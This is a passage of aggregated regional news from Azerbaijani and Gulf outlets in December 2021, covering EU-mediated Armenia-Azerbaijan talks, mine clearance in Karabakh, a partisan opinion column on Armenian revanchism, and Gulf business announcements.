of Uzun-Ada. From Uzun-Ada to Samarkand, he visits this country of deserts using the railway route and then, traveling by carriage he reaches Tashkent in his journey where he participates in the presentation of his photos at the universal exhibition. Media partners of the event are Azernews.az, Trend.az, Day.az, Milli.az. By Azernews By Vafa Ismayilova European Council President Charles Michel has released a statement on the results of a trilateral meeting with Azerbaijani President Ilham Aliyev and Armenian Prime Minister Nikol Pashinyan in Brussels on December 14. The statement, which was posted on the European Council web page, noted that Michel hosted Aliyev and Pashinyan for a discussion on the evolving situation in the South Caucasus region and ways forward regarding EU relations with both countries. President Michel assured both leaders of the EUs commitment to work closely with Armenia and Azerbaijan in overcoming conflict, creating cooperation and an atmosphere of trust, with a view to sustainable peace in the region ultimately underpinned by a comprehensive peace agreement. The common aim of all three leaders is to build a South Caucasus that is secure, stable and prosperous for the benefit of all people living in the region. Prime Minister Pashinyan and President Aliyev reconfirmed that key commitments undertaken in the framework of the two trilateral statements of 9 November 2020 and 11 January 2021 would be honoured and that understandings reached in Sochi on 26 November 2021 should be built upon. President Michel commended steps taken by both leaders to ensure the de-escalation of tensions following recent armed clashes along the border between Armenia and Azerbaijan. In particular, the successful establishment of a direct communication link between the Ministers of Defence of both countries, facilitated by President Michel, was acknowledged. This mechanism can serve to prevent future incidents and make a positive impact by helping de-escalate tensions on the ground. . President Michel stressed that resolving key humanitarian issues is of crucial importance. He welcomed the recent release of ten Armenian detainees by Azerbaijan and the handover of all remaining mine-maps by Armenia. He called for the full and speedy resolution of all outstanding humanitarian issues, such as the release of further detainees and addressing the fate of missing persons, while recognising that humanitarian gestures by both sides also promote confidence and help create an environment conducive to progress towards peace and reconciliation. The EU will continue to support humanitarian de-mining efforts, including by providing expert advice, and assistance to conflict-affected populations, rehabilitation and reconstruction. The EU will also continue to support confidence building measures between Armenia and Azerbaijan. The leaders discussed key existing and prospective trade and economic partnerships between the EU and both countries. They also discussed the EUs intention to launch an economic advisory platform to build confidence, contribute to peaceful coexistence and build up economic cooperation in the region. President Aliyev and Prime Minister Pashinyan agreed that in the context of the planned launch of negotiations on the delimitation and demarcation of the state border between Armenia and Azerbaijan, further tangible steps will need to be taken to reduce tensions on the ground to ensure a conducive atmosphere for the talks. President Michel called on both Yerevan and Baku to actively engage in good faith and to work towards de-escalation. He stressed that ensuring the appropriate distancing of forces is an essential element of incident prevention. The EU will make available an expert mission/consultative group to support the border delimitation and demarcation issues by providing technical assistance to both countries. President Michel also emphasised the importance of restoring communications infrastructure between Armenia and Azerbaijan in particular and the South Caucasus more broadly, while fully respecting the sovereignty of all countries. It was agreed to proceed with the restoration of railway lines, with appropriate arrangements for border and customs controls, based on the principle of reciprocity. The EU is ready to support the development of connectivity links, in line with its Economic and Investment Plan. The proposed economic advisory platform can also support this process. The leaders agreed to follow-up on outcomes of their meeting and to stay engaged. By Trend On the initiative of the French side, a telephone conversation took place between President of Russia Vladimir Putin and President of the French Republic Emmanuel Macron, Trend reports citing Kremlin. The parties examined in detail the state of affairs in the Karabakh settlement. Vladimir Putin briefed on the main results of the trilateral meeting of the leaders of Russia, Azerbaijan and Armenia on November 26, 2021 in Sochi, timed to coincide with the anniversary of the signing of the Declaration on Karabakh on November 10, 2020. Putin told how the measures to comply with the ceasefire, restore trade, economic and transport links are being implemented. The parties expressed the hope that the meeting of the heads of EU structures with President of Azerbaijan Ilham Aliyev and Prime Minister of Armenia Nikol Pashinyan will also be successful. By Azernews By Orkhan Amashov Revenge is a strong poison. When the one harbouring grievance is immeasurably weaker than his nemesis, the grudge held is likely to be excruciatingly damaging for one who is seeking to avenge. Armenia is defeated and weak. More than anything else, it needs to have peaceful relations with its neighbours. But there are those, both in and outside Armenia, who are frantically trying to sow the seeds of revenge, or rather augment already existing pain, and defy the natural order. Their endeavours are the receipt of a more calamitous defeat, and they are better stopped, inter alia, for the sake of Armenia. Those dreaming of revenge are not, in fact, one consolidated force. They rather form a large and loose confederation of units, which are linked through various modes of explicit cooperation, and could collectively be referred to as the pro-war coalition. Their strategy is to convince the country that the disastrous consequences of the Second Karabakh War are irrefutably reversible and therefore any step towards a conclusive and comprehensive treaty should be held in contempt and foiled. The revanchist conglomerate seeks to gain some time, restore the ramshackle Armenian army's so-called capabilities, and wage a new war. The Armenian Karabakh clan, which had a powerful sway over the whole government apparatus during 20 years of uncontested supremacy, is at the heart of the whole business. By fuelling revanchist sentiments, they also form and pursue their own political agenda to dethrone Armenian Prime Minister Nikol Pashinyan at an appropriate moment. The Armenian diaspora, known for its militant and uncompromising demands, constitutes another ingredient, which is in a uniquely advantageous position, as its members are not suffering the consequences of the lack of peace, yet from their comfortable seats located in various countries they, in the most bellicose manner, demand retribution. They are haughty, hawkish, deluded and incredibly self-opinionated. A potential peace treaty with Azerbaijan will necessitate the renunciation of the long-held toxic aspirations that have been central to the diaspora's identity. According to some experts, including the prominent Robert Cutler, fellow at Canadian Global Affairs, there is also a third element, and that is Irans Islamic Revolutionary Guard Corps (IRGC), the entity which has been in close relationship with the Armenian military-industry complex for some time. It could perhaps be tentatively assumed that this component is relatively inert, and in light of the improved Azerbaijani-Iranian relations and some shrewd moves recently made by incumbent Iranian President Ebrahim Raisi, is likely to remain largely harmless. The revanchists, in general, maintain the view that the present quagmire, in which Armenia has found itself, is exclusively due to the current government. It is true that Pashinyan was the one who signed the final act of surrender. It is also undeniably true that a series of incautious and irresponsible steps taken by him led to the point of no return, after which a military confrontation became unavoidable. Nevertheless, what the pro-war coalition members failed to mention is that Armenia's disastrous defeat was largely the outcome of the unforgivable diplomatic and strategic recklessness committed under the collective rule of former Presidents Robert Kocharyan and Serzh Sargsyan. It was the Karabakh clan that pursued the simple and ultimately fatal policy of procrastinating over the conflict in perpetuity or, to be more precise, of maintaining the status quo and engaging in the process of imitating negotiations until Azerbaijan was diplomatically and morally exhausted. This was a massive miscalculation, which lies at the very heart of Armenia's current pathetic, dire and beleaguered state. In addition, the clan in question had an upper hand in negotiations, due to the result of the first war, but failed to utilise this advantageous position for the purpose of peacebuilding. When the Azerbaijani government started to refer to the seven districts adjacent to Karabakh as "liberated lands", it was clear that the aggressor's appetite was not likely to be curbed easily. Pashinyan's Karabakh policy was utterly shambolic and he committed all sorts of blunders, sometimes not altogether inadvertently. However, he was, in many ways, hostage to the previous administrations' inflexibility The damage Armenia suffered as a result of last years war is not merely physical, but also mental. The urge for revenge is an unhealthy reaction to this calamitous and unmitigated defeat, and the absurdity of the aspirations of would-be avengers is closely linked with the delusions of grandeur firmly entrenched in Armenian society. There was a feeling prior to the war that Armenia would always be favoured by the Western world, which would tilt towards a "long-suffering Christian" victim nation, and Russia, which was and is a formal treaty ally of Yerevan. There was also a feeling of military superiority engendered by the result of the first war. Armenian political scientist Arman Grigoryan stated that revenge-driven forces create an image of reality, which has elements of a simulacrum of truth. Their way of thinking seems to be fully inclusive of desires and prejudices, which have nothing to do with sober reevaluation of the present circumstances. The historical trauma, which is, to a certain extent, invented or imagined, in conjunction with limited experience of sovereignty, has long been the cause of the self-destructive policies pursued by Yerevan. If, due to the war party, Pashinyan's government finds itself compelled to repeat the pattern, the consequences will be completely ruinous. Armenia is weak and ill, albeit not terminally. What it requires is a powerful and clearly-defined denunciation of the grandiose delusions long held dear. The dense atmosphere of illusion is to be dispelled. This, of course, should happen inside the country itself first. However, in some ways, the shattered Armenian soul will also need to be cleansed in a regional purgatory, as the future of any nation also lies in the hands of its neighbours. By Azernews By Ayya Lmahamad Turkish Foreign Minister Mevlut Cavusoglu has visited Azerbaijan's pavilion at Dubai Expo 2020 within the framework of his visit to the United Arab Emirates (UAE), Day.az has reported. The minister got acquainted with the exhibition of the country and with the interior of the pavilion. At the same time, Cavusoglu wrote his heartfelt words in the pavilion's memory book. "I was glad to visit the pavilion of Azerbaijan today. Congratulations for setting up the pavilion, which comprehensively represents Azerbaijan. One nation, two states, Turkey-Azerbaijan," he wrote. Azerbaijan is represented at the Dubai Expo 2020 with a national pavilion under the "Seeds for the Future" theme. The Azerbaijani national pavilion, organized by the Heydar Aliyev Center, features videos highlighting the country's history, cultural legacy and geography. Earlier, agrarian opportunities of Azerbaijan's liberated territories were presented at the Dubai Expo Center. The participants were informed about the investment opportunities in agriculture in Azerbaijan and the leading directions and potential projects for investment in agriculture in the liberated territories. The information was presented about the "smart village" project implemented in Karabakh and the work done in this field, as well as directions of development of agriculture in Azerbaijan and the system of electronic agriculture applied in the country. Azerbaijani President Ilham Aliyev met with Moldovan President Maia Sandu in Brussels on December 15. President of the Republic of Azerbaijan Ilham Aliyev has met with President of the Republic of Moldova Maia Sandu in Brussels. President Maia Sandu greeted the head of state: Hello, Mr. President. President Ilham Aliyev: Hello. Nice to meet you. President Maia Sandu: Very nice to meet you in person, finally. President Ilham Aliyev: Very glad to see you. President Maia Sandu: Thank you. President Ilham Aliyev: So, it is our first meeting. I would like to congratulate you with your election once again, and wish you success. President Maia Sandu: Thank you very much. President Ilham Aliyev: I hope that the relations between our countries will continue to develop in positive direction, because personal contacts play important role in this respect. President Maia Sandu: Indeed. Thank you very much Mr. President. I like to express my appreciation for the fact that you were there when we needed help with the gas crisis. We could explore potential solutions. In the end, we found the short-term solution, but we are still interested to discuss our cooperation in the energy sector, and of course, we are interested in exploring the possibilities to deepen our cooperation with respect to the business cooperation, trade exchanges. We are very interested in improving the business environment in Moldova. We want to create more jobs for our people, we are interested in attracting foreign investors and we are interested in exploring new markets as any other country is. So, I do see this possibility of establishing the contacts and then maybe helping our businesses talk to each other, organizing business forums. So that we could help the citizens of both countries. President Ilham Aliyev: Yes, I agree with you. I think we need to also strengthen the activity of joined intergovernmental commission and to plan a new session, because they didnt convene for almost ten years and I looked at some data. The level of mutual trade is very small. So, I think that there is a potential to increase it. But for that, of course, as you mentioned the business circles should get together. If the commission meets they can also make presentations about the potential, about investment opportunities, business climate, so that we can increase the level of mutual trade. I think we can find a lot of goods to offer to each other, and also the energy cooperation issues. You know we are actively working with European institutions and with member states of EU and for us, of course, entering the new markets also is of big importance. Therefore, I think that we will find the common ground on that issue as well. *** The sides noted that Azerbaijan and Moldova have always supported each other's territorial integrity. The cooperation within international organizations, holding the next meeting of the intergovernmental commission in the coming days, holding political consultations between the two countries' foreign ministries, cooperation in the fields of energy, investment, as well as business circles of the countries were discussed at the meeting. President of Azerbaijan Ilham Aliyev has sent a congratulatory letter to King of Bahrain Sheikh Hamad bin Isa Al Khalifa on the occasion of Bahrain's National Day. I convey my sincerest congratulations and best wishes to you, and through you to your entire people on my own behalf and on behalf of the people of Azerbaijan on the occasion of the 50th anniversary of the National Day of the Kingdom of Bahrain. This year, the Republic of Azerbaijan and the Kingdom of Bahrain celebrate the 25th anniversary of the establishment of the diplomatic relations. I believe that friendly and cooperative relations will continue to successfully develop and expand by our joint efforts in line with interests of our nations tied by religious and cultural roots. On this remarkable day, I wish you strong health, happiness, success in your activities, and everlasting peace and prosperity to the friendly people of Bahrain. Sincerely, Ilham Aliyev President of the Republic of Azerbaijan Baku, 13 December 2021 By Azernews By Vugar Khalilovl The International Committee of the Red Cross (ICRC) has warned against growing mine threat in Azerbaijan, Trend reported on December 15. The organization shared a video on its website about the mine explosions that occurred on Azerbaijans liberated territories since the end of the Karabakh conflict, the report added. "Unfortunately, after the aggravation of the Karabakh conflict in the fall of 2020, the number of mine victims continues to grow. The International Committee of the Red Cross is doing everything possible to warn people about this danger," the video posted on the ICRC website says. Earlier, the Mine Action Agency reported that some 300 mines and munitions were found and defused on Azerbaijan's liberated territories from December 6 to December 11. Overall, 78.3 hectares were cleared of mines and unexploded ordnance in this period. Earlier, it was reported that 10,456 anti-personnel and 4,683 anti-tank mines, as well as 12,659 unexploded ordnances, were found and defused on the abovementioned territories from November 10, 2020, to November 30, 2021. Armenia submitted to Azerbaijan all mine maps of Azerbaijan's liberated territories as a result of talks mediated by the Russian Defence Ministry on December 4, 2021. On December 12, Foreign Minister Jeyhun Bayramov told reporters that mine maps provided by Armenia so far are not fully accurate. "New minefield maps given by Armenia are being analyzed by the experts. It will take time. We can prevent the growing number of deaths as a result of mine explosions," he said. It should be noted that Azerbaijans Mine Action Agency (ANAMA), along with the partner countries, carries out demining activities on its liberated territories. Armenia deliberately and constantly planted mines on Azerbaijani territories, in violation of the 1949 Geneva Convention, thereby being a major threat to regional peace, security and cooperation. On December 9, the Prosecutor-General's Office has reported that 29 civilians and seven military servicemen were killed, as well as 109 servicemen and 44 civilians received injuries of varying severity as a result of mine explosions in the countrys lands since November 10, 2020. Previously, on June 12, Azerbaijan handed over 15 Armenian prisoners in exchange for a map detailing the location of 97,000 mines in formerly-occupied Aghdam. On July 3, Armenia submitted to Azerbaijan maps of about 92,000 anti-tank and anti-personnel mines planted during the occupation of Fuzuli and Zangilan regions. Azerbaijan and Armenia signed a Russia-brokered peace agreement on November 10, 2020, to end 44 days of fighting and work toward a comprehensive resolution. By Azernews By Vafa Ismayilova Azerbaijani President Ilham Aliyev has hailed as constructive the atmosphere of a trilateral meeting with Armenian Prime Minister Nikol Pashinyan and European Council President Charles Michel in Brussels on December 14. He made the remarks in an address to the 6th Eastern Partnership Summit of the European Union held in Brussels on December 15. He noted that the discussions between the President of Azerbaijan and the Prime Minister of Armenia, which lasted about five hours at the initiative of Charles Michel on 14 December, were held in a constructive atmosphere. President Aliyev stressed Charles Michel's contribution to the normalization of relations between Armenia and Azerbaijan. He also noted that the talks initiated by Charles Michel had been very tangible and detailed. The parties discussed issues such as the normalization of relations between Armenia and Azerbaijan, the delimitation and demarcation of borders, the construction of transport infrastructure, especially railways, Azertag said. Aliyev thanked Michel for keeping regional issues on the agenda and for his contribution to the normalization of Armenia-Azerbaijan relations. State of Azerbaijan-Armenia ties At the summit, Aliyev noted the constructive atmosphere between Armenia and Azerbaijan, emphasizing the role of the European Union in creating such an environment. The head of state stressed the importance of not missing this opportunity and continuing efforts to ensure lasting peace in the region, taking advantage of the opportunity. He stressed that the Armenian leadership had usually made baseless and accusatory statements against Azerbaijan during international events in previous years. This time, Aliyev praised the absence of such a situation, noting that he, in turn, had not spoken directly against Armenia. The head of state said that this provided a fertile ground for the normalization of relations between Armenia and Azerbaijan. President Ilham Aliyev noted that it is necessary to look to the future. The president also focused on the OSCE Minsk Group's role, noting that the talks held for 28 years had not yielded any results. He said that Azerbaijan expected a response from the OSCE Minsk Group in accordance with the new geopolitical reality. The head of state noted that Azerbaijan believed that the Minsk Group could contribute to the preparation of an Armenia-Azerbaijan peace agreement, the delimitation of borders, the establishment of contacts between the nations, confidence-building measures and other issues. Touching upon the issue of mines in the liberated territories, President Ilham Aliyev said that Azerbaijani civilians had been suffering from their presence, adding that about 200 people had been killed or injured in mine explosions to date. In this regard, he stressed the importance of the European Union and member states providing technical and financial assistance to Azerbaijan to eliminate the mine problem. Azerbaijan-EU ties Aliyev drew attention to the successfully developing Azerbaijan-EU relations and stressed the importance of the Partnership Priorities document initialed between the European Union and Azerbaijan in 2018. Noting that more than 90 percent of the work on a new partnership agreement between Azerbaijan and the European Union had been completed, Aliyev expressed his hope that the rest of the document would be finalized as a result of negotiations in the coming period. He noted that Azerbaijan had signed documents on strategic partnership with nine EU member states, or a third of the member states. He said that these strategic partnership documents signed on a bilateral basis demonstrated the nature of such relations. The head of state recalled with satisfaction the visit of EU Council President Charles Michel to the South Caucasus region, including Azerbaijan, in July this year and the meetings held during the visit, adding that detailed discussions on regional issues had been held. Aliyev also pointed to Azerbaijan-EU cooperation in the energy sphere, noting that these relations were also of the nature of a strategic partnership. Emphasizing that the 3,500-km-long Southern Gas Corridor was one of the largest infrastructure projects of the 21st century, the president said that Azerbaijani gas was being delivered to Europe with the launch of the Trans-Adriatic Pipeline, the last component of the project. He noted that Azerbaijani gas was already being delivered to three EU countries Italy, Greece and Bulgaria. In the future, Azerbaijan intends to expand the geography of gas exports to other EU member states. Stressing that Azerbaijani gas was being delivered to the EU market as a reliable and new source, the president said that the recent events had also shown the importance of diversification in terms of energy security. In conclusion, he once again thanked Michel for his contribution to the normalization of Armenia-Azerbaijan relations. By Trend Azerbaijan is creating a socio-cultural infrastructure in Zangilan's Aghali village [liberated from Armenian occupation in the 2020 second Karabakh war], the Ministry of Culture of Azerbaijan told Trend. According to the ministry, it has already prepared relevant proposals on the planned implementation of social infrastructure projects in the village. Construction work within the framework of the 'Smart Village' project continues in Aghali. At the first stage, its planned to build 200 private houses on its territory using innovative building materials. By Azernews By Ayya Lmahamad Azerbaijan's State Employment Agency under the Labor and Social Protection Ministry has involved 14,200 people in the self-employment program in January-November 2021. The citizens were provided with assets in the forms of goods and supplies in accordance with the chosen business areas within the self-employment program. In total, the State Employment Agency provided jobs for 74,203 unemployed and job seekers during the first 11 months of the year. At the same time, during the reported period, the Agency involved 413 unemployed for vocational training courses in various directions and 1,410 people for professional consulting services. The ministry takes consistent measures to provide social support to vulnerable groups of the population, including martyrs families, war veterans and civilians affected by the war. Social support measures taken by Azerbaijans Labor and Social Protection Ministry covered about 30,000 citizens, including members of martyrs families, war veterans and civilians affected by the Armenian aggression since the end of the 44-day war with Armenia in November 2020. Some 15,700 social payments packages, including monthly and presidential pensions and allowances, were assigned to 7,900 people. More than 2,000 war veterans received disability and related social benefits. In the post-war period, the program of providing martyrs families and disabled war veterans with housing was expanded. Under the presidential decree of January 25, 2021, 11,000 apartments and private houses will be provided to this category of citizens in stages over five years. About 3,000 apartments and individual houses are planned to be provided in 2021. Procter & Gamble (P&G) has signed an agreement to fully acquire Ouai, a company co-founded by celebrity hairstylist Jen Atkins and Dr Lamees Hamdan in 2015. Ouai is a US based brand that started initially as a hair care line with a minimalist aesthetic and sophisticated scents. Later the brand gradually expanded into body products, fragrances, candles, lifestyle products and merchandising. The deal is subject to US regulatory approvals. Daman Investments, through its Investments & Advisory division, played a pivotal role by advising the majority sell side shareholders of Ouai through this transaction. Since inception, Daman contributed to the growth journey of Ouai by providing strategic growth and fund-raising advisory services to Ouais majority shareholders including the co-founder, Dr Lamees Hamdan. Daman Investments has a legacy of providing best-in-class investment advisory services to both GCC as well as international clients. Through its core advisory services, Daman helps companies raise capital to strengthen and grow their businesses; provides strategic advice on mergers, acquisitions and disposals; and underwrites equity & debt capital market transactions. TradeArabia News Service Emirates Water and Electricity Company (Ewec) has issued request for qualifications (RFQs) for the development of an independent water project at Shuweihat some 250km west of capital Abu Dhabi. A leading company in the integrated coordination of planning, purchasing and supply of water and electricity across the UAE, Ewec said a total of 35 companies and consortiums have submitted EOIs. The Shuweihat S4 Project will desalinate seawater using reverse osmosis (RO) desalination technology, a low carbon-intensive process, to produce up to 70 million gallons per day (MIGD) of potable water, sufficient to meet the water demand for 125,000 households. Shuweihat S4 continues its strategic investment in innovative RO seawater desalination technology with Ewec recently issuing Request for Proposals for the 80 MIGD Mirfa 2 (M2) RO IWP. Combined, these two new projects will provide 150 MIGD of new RO seawater desalination capacity, improving the security of water supply and playing a key role in the ongoing cost reduction initiatives in the sector by decoupling power and water generation capacity in Abu Dhabi. The RFQ is being issued to selected bidders that submitted an Expression of Interest (EOI). Once the qualification process has been completed, the companies or consortia that qualify will be invited to respond to a detailed Request for Proposal that will be launched by Ewec. CEO Othman Al Ali said: "Increased reverse osmosis desalination capacity is a strategic focus for Ewec. These new low-carbon seawater desalination projects are the key to decoupling power and water production, which will allow us to make significant changes to our water and electricity production portfolio with a focus on decarbonising the energy sector." "Reverse osmosis technology is cost and carbon efficient, reducing carbon emissions from water desalination by up to 95 percent, in addition to enhancing the water security of Abu Dhabi. We look forward to completing the RFQ process and moving to the Request for Proposal stage as quickly as possible," he added. The Shuweihat S4 RO project will be located adjacent to the existing Shuweihat S3 IPP Project, within the Shuweihat power and water complex, approximately 250 km west of the city of Abu Dhabi. The winning bidder will be responsible for the development, financing, construction, operation, maintenance and ownership of a standalone greenfield RO seawater desalination plant with a capacity of 70 MGD of water output, together with associated infrastructure, stated Ali. As per the deal, it will own up to 40 per cent of the entity while the remaining equity will be primarily held indirectly by the Abu Dhabi government. Ewec aims to achieve financial close by the end of 2022 with a target project commercial operations date by Q3 2025. The last date for submitting the bids has been set at December 31.-TradeArabia News Service The Red Sea Development Company (TRSDC), the Saudi developer behind the worlds most ambitious regenerative tourism project, has been awarded the prestigious ISO 270001:2013 for its esteemed information security management system and compliance with national and international standards. SGS, a world-leading testing, inspection and certification company has conducted an audit and examined TRSDCs systems, internal frameworks, and processes to ensure adherence to best practices and standards of internal and effective management of information security in construction organizations. The Saudi group clinched the ISO certification for successfully establishing, implementing, maintaining, and continuously improving its information security management system, as well as efficiently assessing and treating information security risks that could affect the business. "This is a great result for TRSDC and demonstrates yet again how we are leading the way as we develop world-class tourist destinations in the kingdom," remarked its CEO John Pagano. Maintaining state-of-the-art security across our projects is of the upmost importance to us, and were committed to evolving our own systems and sharing any knowledge gained with the industry, both here in the Kingdom and further afield, he stated. "TRSDC has been committed to achieving excellent information security practices since the inception of the company in 2017 and has been developing its processes ever since. By adopting a globally recognized ISMS, we have ensured that security is part of company culture and resilience to cyber threats is strengthened," he added. Chief Information Security Officer Sultan Moraished said this certification was an important achievement for TRSDC and demonstrated its dedication to ensuring strong information security across the company. The certification is also a testament to the hard work and talent within our cyber security team, which has grown significantly over the past two years and will continue to go from strength to strength, he added.-TradeArabia News Service India can be a world leader in providing skilled manpower across sectors, said Rajeev Chandrasekhar, Indias Minister of State for Electronics and Information Technology and Minister of State for Skill Development & Entrepreneurship. India can be a leading partner for the countries in the Middle East, the Emirates and other countries across the world in creating a trusted, highly qualified and skilled manpower and entrepreneurs that can shape the future of the world economies, he said during his visit to the India Pavilion at Expo 2020 Dubai. Talking on India-UAE relations, Chandrasekhar said: India and the Emirates have a strong trade and investment relationship across sectors. This relationship will continue to grow, deepen, strengthen, especially in the post-Covid era to create economic prosperity and opportunities for people all over the world. Highlighting the significance of the India Pavilion, the Minister said: The Pavilion represents Indias rising ambitions and aspirations to create opportunities for its citizens and collaborate with other countries to create a better, peaceful and prosperous world of the future. The Pavilion is guided by the Prime Minister Shri Narendra Modis vision of opportunity and prosperity for all in this New and Self-reliant India (Atmanirbhar Bharat). In his message to global investment community, Chandrasekhar said: The pandemic has shown to the world the resilience and capabilities of India its entrepreneurs, government, and young population. Going forward, Indias ambition is to be a strong participant driving economic prosperity and growth across the world. We invite all investors from the middle east and around the world to come and be a part of the new India economic story and witness the resurgence, growth and revival of the global economy. -- TradeArabia News Service Siemens and LG Energy Solution (LGES), a leading global battery manufacturer have signed a memorandum of understanding (MoU) to increase cooperation in the field of battery manufacturing, particularly the digitization of production process. Under the terms of the agreement, which was signed by Cedrik Neike, Member of the Managing Board of Siemens AG and CEO Digital Industries and Young Soo Kwon, CEO of LG Energy Solution and at LGESs headquarters in Seoul, the two companies plan to take steps to promote the process of battery manufacturing intelligence at LGES production facilities worldwide. We believe the partnership with Siemens AG will efficiently promote LG Energy Solutions digitized manufacturing processes, ultimately enabling LGES to provide the finest services to our clients, said Young Soo Kwon, CEO of LG Energy Solution. The process of manufacturing intelligence in producing batteries is becoming a critical factor, especially as LGES continues to advance the quality of its products while expanding production base worldwide. The future of carbon-neutral mobility requires high-performing batteries. They are at the heart of the electric vehicle market. Siemens and LG ES will work on quantum leap in battery manufacturing. We are proud that technology from Siemens enables this momentous transformation, said Cedrik Neike, Member of the Managing Board of Siemens AG and CEO Digital Industries. With this cooperation, we underscore Siemens positioning as a focused technology company. Joining forces with the worlds leading battery manufacturer allows us to showcase our deep domain know-how in the battery market. Through this strategic collaboration, LGES will be able to implement smart battery manufacturing processes at global factories. The partnerships first line of collaboration will be realized at Ultium Cells, a joint venture of LG Energy Solution and General Motors, located in Tennessee, which is expected to begin production in 2023. Furthermore, the collaboration will allow LGES to cut back on Carbon footprint in its entire supply chain management, as it aims to boost sustainability in its business operations. As a leading supplier in the field of automation and industrial software, Siemens offers a comprehensive digital enterprise portfolio and domain knowledge in the battery industry. This allows LGES to accelerate its digital transformation strategy. In addition, Siemens AG will contribute to the development of the rapid growing battery industry by solidifying its position as a technology partner for the advancement and efficiency of battery manufacturing technology. The companies will also collaborate on building a digital twin roadmap to ensure stable operations at facilities to offer first-rate quality products at the right time. Together, the companies will also develop training programs within the Institute of Battery Technology (IBT) for academic students set to work for LGES. TradeArabia News Service Emirates Global Aluminium (EGA), the largest industrial company in the UAE outside oil and gas, today (December 15) announced that its Chief Commercial Officer Walid Al Attar will step down after 37 years of service to the company. Calling Al Attar as the architect of the marketing strategy that made EGA the biggest premium aluminium producer in the world, EGA in a statement said he will continue to provide his expertise to EGA as a Senior Advisor to Chief Executive Officer (CEO) Abdulnasser Bin Kalban. Adel Abubakar, Chief Marketing Officer since February this year, will now report directly to EGAs CEO, the statement said. Abubakar has worked for the company since 2006, including spending almost a decade in the US building EGAs North American business. Abubakar will also assume responsibility for EGAs Casthouses, it added. Abdulnasser Bin Kalban, CEO of EGA, said: Walid Al Attar is a titan of our company and industry, and I thank him for his immense contributions to EGA over almost four decades of service. Walid joined Dubai Aluminium as a very young man, and rose to the top of our company through ability and drive. He is a role model I advise all young UAE Nationals joining EGA to emulate. Walid Al Attar said: I feel a great sense of pride at everything we have achieved at EGA, starting as a small regional smelter and building a national industrial champion whose metal makes modern life possible all around the world. I look forward to supporting EGA as it continues to grow, and watching those I have helped develop take the company to new heights. Al Attar joined Dubai Aluminium in 1984 as a trainee, working first in the shipping department. He joined Marketing & Sales in 1994, playing a key role in EGAs transition from selling commodity metal to traders to building direct relationships with customer making products using the metal. EGAs focus on premium aluminium, made to customer specifications, makes EGA a world leader in maximising the value of its primary aluminium production. Al Attar was appointed Chief Marketing Officer when EGA was formed through the merger of Dubai Aluminium and Emirates Aluminium in 2014. In 2020 he took the role of Chief Commercial Officer, responsible for Marketing & Sales & Supply Chain. Earlier this year, Al Attar was named Worlds Top Aluminium Executive 2020-2021 at an annual global industry summit in Chicago, in recognition of his contributions to the aluminium industry.--TradeArabia News Service Saudi Public Investment Fund (PIF) and Saudi Telecom Company (STC), the kingdoms leading ICT provider whose ordinary shares are listed on the Saudi Stock Exchange, today (December 15 ) announced the successful completion of the secondary public offering. The kingdom's sovereign wealth fund, PIF is a majority stake holder in the Saudi Telecom Company. According to stc, the 120 million shares representing 6% of its share capital were sold to local and international institutional investors and retail investors by way of a secondary public offering, the first of its kind in the Saudi capital market. The total offering size reached SR12 billion, which makes it the largest equity capital markets transaction in Saudi Arabia since the IPO of Saudi Aramco, the largest secondary follow-on transaction in Europe and MEA region in the last three years and the largest secondary follow-on transaction in CEEMEA in nearly ten years. Yazeed A. Al-Humied, PIF Deputy Governor and Head of MENA Investments, said: "The strong interest that this offering has generated from domestic and international investors is testament to stcs enduring strengths and exciting prospects for the future." "As its majority shareholder, we look forward to stc continuing to play a leading role in shaping the future of the Information and Communication Technology sector in the Kingdom of Saudi Arabia, one of the 13 strategic sectors the Fund focuses on," he added. "This transaction is in line with PIFs strategy 2021-2025, launched by the Chairman of the Fund, to recycle capital by selling stakes in the companies owned by the Fund, as with the secondary public offering of the Funds shares in stc and the IPOs of Acwa Power and Saudi Tadawul Group, to reinvest the proceeds in the Kingdoms emerging sectors. "We are pleased to contribute to the development of the Saudi capital market through the elaborate and successful structuring and execution of this secondary public offering, which is the first Secondary Fully Marketed Public Offering ever in the Kingdom of Saudi Arabia targeting international investors and the largest in the region, which demonstrates the advancement of Saudi capital markets and its regulation, he added. Sahara International Petrochemical Company (Sipchem) had showcased at the 15th Annual Gulf Petrochemicals and Chemicals Association (GPCA) Forum over 15 chemical and polymer products that are distributed to more than 40 countries. One of the leading companies in the petrochemical sector, Sipchem, in addition to highlighting its capabilities, served as a sponsor at the three-day event, which took place from December 7 to 9 at Madinat Jumeirah in Dubai, UAE. Over the last decade, the Annual GPCA Forum has served as a vital platform for the chemical industry, bringing together business leaders to address key challenges, recommend effective solutions and share knowledge and experience. Held under the theme Redefine. Reshape. Reinvent: The Chemical Industry in a Post-pandemic Reality, this years event welcomed industry experts from across the globe to lay the foundation for collaborative, sustainable, and successful recovery in the wake of the Covid-19 pandemic. The Sipchem delegation was led by CEO Eng Abdullah S Al-Saadoon together with other senior executives. Commenting, Al-Saadoon said: We are proud to support the Annual GPCA Forum, which is one of the most important gatherings for the regions petrochemical industry and plays a vital role in shaping the future of our sector. It has been very encouraging to reconnect with our industry peers and discuss the latest developments as we seek to leave behind the challenges created by the global pandemic. Sipchem achieved remarkable financial results in the past three quarters. During the third quarter, we reported a leap in net profits to SR1.02 billion ($270 million) from SR10 million in Q3 2020. We have established a strong position that will enable the company to emerge from the pandemic period with renewed confidence. Participating in distinguished events such as the Annual GPCA Forum helps us to build on this momentum and we are looking forward to further growth and success in the new year ahead, Eng Al-Saadoon added.-- TradeArabia News Service KBR has been awarded eight prime contracts as a part of the General Services Administration (GSA) Astro multiple award indefinite delivery/indefinite quantity (IDIQ) multi-billion-dollar contract. The GSA contract delivers a variety of services related to manned, unmanned, and optionally manned systems, robotics, and platforms. Astro, which is administered by GSA's Federal Systems Integration and Management Center (FEDSIM), has 10 separate, multiple award IDIQ contracts or pools. KBR was named a prime contractor on eight pools: data operations, mission operations, ground, space, development and systems integration, research, support, and training. "KBR is excited to continue to support the Department of Defence, particularly its combatant commands, through the Astro contract," said Stuart Bradie, KBR President and CEO. "The number of pools awarded to KBR shows the depth and breadth of our global expertise and the evolution of our business to address new and emerging threats with innovative solutions." Each contract has a five-year base, with the option to extend five more years. There is no maximum dollar ceiling for the Astro contract as a whole or for each individual pool, though the contract is estimated to be in the multi-billion-dollar range. KBR is proud to be a leader in advancing air, space, cyber, and missile defence systems for the US military. As the team behind the mission, customers rely on KBR. The firms subject matter experts are sought after to test, integrate and maintain new technologies and solve traditional problems, such as how to reduce critical military equipment downtime and extend the life of legacy systems. -- TradeArabia News Service Emaar, the UAE's integrated real estate development company, is getting ready to ring in 2022 with a 